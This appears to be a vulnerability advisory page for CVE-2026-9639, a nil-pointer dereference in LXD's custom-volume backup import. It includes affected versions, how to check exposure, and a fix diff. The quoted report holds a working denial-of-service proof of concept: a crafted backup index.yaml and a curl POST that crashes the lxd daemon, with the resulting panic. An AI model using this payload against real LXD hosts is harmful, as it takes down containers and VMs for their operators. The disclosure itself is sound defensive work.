---
id: "CVE-2026-9639"
page: "https://infrastack.ai/live/CVE-2026-9639"
kind: "vulnerability"
aliases: ["CVE-2026-9639", "GHSA-j93m-3j9p-m5m8"]
title: "LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at"
severity: "medium"
cvss: 6.5
epss: 0.00548
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260622081844-85f897013ccd"], "affected": "< 0.0.0-20260622081844-85f897013ccd", "ecosystem": "go"}, {"name": "canonical lxd", "fixed": ["5.21.5"], "affected": ">= 5.0.0, < 5.21.5", "ecosystem": "vendor"}, {"name": "canonical lxd", "fixed": ["6.9"], "affected": ">= 6.0, < 6.9", "ecosystem": "vendor"}]
ecosystems: ["go", "vendor"]
tags: ["clustered", "cwe-476", "infrastructure", "linux-containers", "lxd", "self-hosted"]
not_affected_if: ["admin-only-api-access", "no-volume-create-entitlement"]
published_at: "2026-06-26T16:16:37+00:00"
first_seen_at: "2026-11-06T19:38:16+00:00"
updated_at: "2026-11-06T19:43:49+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-j93m-3j9p-m5m8", "first_seen_at": "2026-11-06T19:38:16+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9639", "first_seen_at": "2026-11-06T19:43:49+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00548, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-9639"}]
---

# LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at

Link for people: https://infrastack.ai/live/CVE-2026-9639 (this .md is for agents)

LXD's custom volume import dereferences an optional snapshot expiry timestamp without checking it, so a backup that omits that field panics the daemon. An authenticated user with permission to create storage volumes can crash the whole lxd process by uploading such a backup, which is a denial of service.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260622081844-85f897013ccd fixed 0.0.0-20260622081844-85f897013ccd
- vendor:canonical lxd affected >= 5.0.0, < 5.21.5 fixed 5.21.5
- vendor:canonical lxd affected >= 6.0, < 6.9 fixed 6.9

## How to check

- Find the canonical/lxd version in use: `lxd --version` for a packaged binary, or the commit or module version if built from source.
- Treat hosts running a version older than `0.0.0-20260622081844-85f897013ccd` as exposed.
- Check which users or clients hold the create-storage-volumes entitlement on any project.

## Fix

- canonical/lxd (Go module): move to `0.0.0-20260622081844-85f897013ccd` or later.

## Timeline

- 2026-11-06T19:38:16+00:00 ghsa https://github.com/advisories/GHSA-j93m-3j9p-m5m8
- 2026-11-06T19:43:49+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-9639

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-j93m-3j9p-m5m8
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-j93m-3j9p-m5m8
- [fix] Patch: github.com https://github.com/canonical/lxd/pull/18320
- [fix] Patch: github.com https://github.com/canonical/lxd/pull/18390
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/05bc2729e99707a766d5c4705167a3322c9ef424
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/c7cdfadb6044dfeaac592dc225978b4125ee23fe
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/d15520809e6e2ac2af0c6354dfb7be5854b0e859
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- [fix] Release: github.com https://github.com/canonical/lxd/releases/tag/lxd-6.9

## From the sources

## Summary

(sibling-field variant of CVE-2026-40197 fix 05bc272)

`(*lxdBackend).CreateCustomVolumeFromBackup` in [`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `EntitlementCanCreateStorageVolumes` permission on any project can crash the `lxd` daemon by uploading a backup tarball whose `volumes[0].snapshots[*].expires_at` field is omitted.

This is a sibling-field variant of the CVE-2026-40197 fix (commit `05bc272`, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit `985a1dedf` / GHSA-r7w7-mmxr-47r9). That fix added `if snap == nil` guards at several consumer sites, but did not guard the adjacent `*snapshot.ExpiresAt` deref at line 8216. Every other consumer of this field in the same file already gates the deref with `if … != nil` (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.

## Vulnerable code

[`lxd/storage/backend_lxd.go`](https://github.com/canonical/lxd/blob/05bc272/lxd/storage/backend_lxd.go), `CreateCustomVolumeFromBackup`:

```go
// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
    if snap == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    err = drivers.ValidVolumeName(snap.Name)
    ...
}

// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
    if s == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    snapshot := s
    ...
    // Line 8216 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,           // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)
```

`ExpiresAt` is declared `*time.Time` ([`shared/api/storage_pool_volume_snapshot.go`](https://github.com/canonical/lxd/blob/05bc272/shared/api/storage_pool_volume_snapshot.go)). Every other consumer in the same file already uses the safe pattern (`if … != nil { … = *… }`):

| Line | Code | Guarded? |
|------|------|----------|
| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1558-1559 | srcSnap.ExpiresAt | YES |
| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |
| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |
| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |
| 5527-5528 | srcSnap.ExpiresAt | YES |
| **8216** | **CreateCustomVolumeFromBackup snapshot.ExpiresAt** | **NO** |

## Reach

1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `EntitlementCanCreateStorageVolumes` entitlement on any project. Same auth gate as CVE-2026-40197.
2. `POST /1.0/storage-pools/<pool>/volumes/custom` with `Content-Type: application/octet-stream` and `X-LXD-name: <name>`.
3. Body is a tar containing [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml) with `type: custom`, `volumes[0]` non-nil, and `volumes[0].snapshots[0]` non-nil but missing `expires_at`.
4. `lxd/storage_volumes.go:storagePoolVolumesPost` -> `backup.GetInfo` parses the yaml -> `pool.CreateCustomVolumeFromBackup` -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> `*snapshot.ExpiresAt` on line 8216 panics on the nil `*time.Time`.
5. The Go runtime kills the entire `lxd` daemon process. Repeated POSTs are a persistent denial of service.

Minimal [`backup/index.yaml`](https://github.com/canonical/lxd/blob/05bc272/backup/index.yaml):

```yaml
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  version: 2
  pools:
    - {name: default, driver: dir, config: {}}
  volumes:
    - name: poc-vol
      type: custom
      pool: default
      content_type: filesystem
      config: {}
      snapshots:
        - name: snap0
          description: snap0
          config: {}
          # expires_at intentionally omitted
```

## Proof of concept (end-to-end against running daemon)

Bundled in the report: `make_backup.sh` + the resulting 516-byte `poc-vol-lxd.tar.gz`.

Tested against `lxd 6.8` (HEAD of `canonical/lxd` at the time of testing, built from source with `make deps && go build -tags libsqlite3 ./lxd`). Daemon started with default `dir` storage pool.

```bash
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
    --data-binary @/tmp/poc-vol-lxd.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-LXD-name: poc-vol' \
    http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep lxd | grep -v grep    # daemon GONE
```

Daemon panic from `/tmp/lxd.out`:

```
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]

goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
    github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
```

Stack frame [`backend_lxd.go:8216`](https://github.com/canonical/lxd/blob/05bc272/backend_lxd.go#L8216) is the literal `*snapshot.ExpiresAt` line.

## Impact

- **Severity:** denial of service against the entire `lxd` daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.
- **Network attack surface:** the LXD REST API on `:8443` or the unix socket.
- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- **Versions:** confirmed at `lxd 6.8` (HEAD); the same code exists in the v5.21 LTS line as the parent fix `05bc272` was a cherry-pick from incus.

## Suggested fix

Mirror the guard pattern already in use elsewhere in this file:

```diff
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }
```

## Related advisories

- `G

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
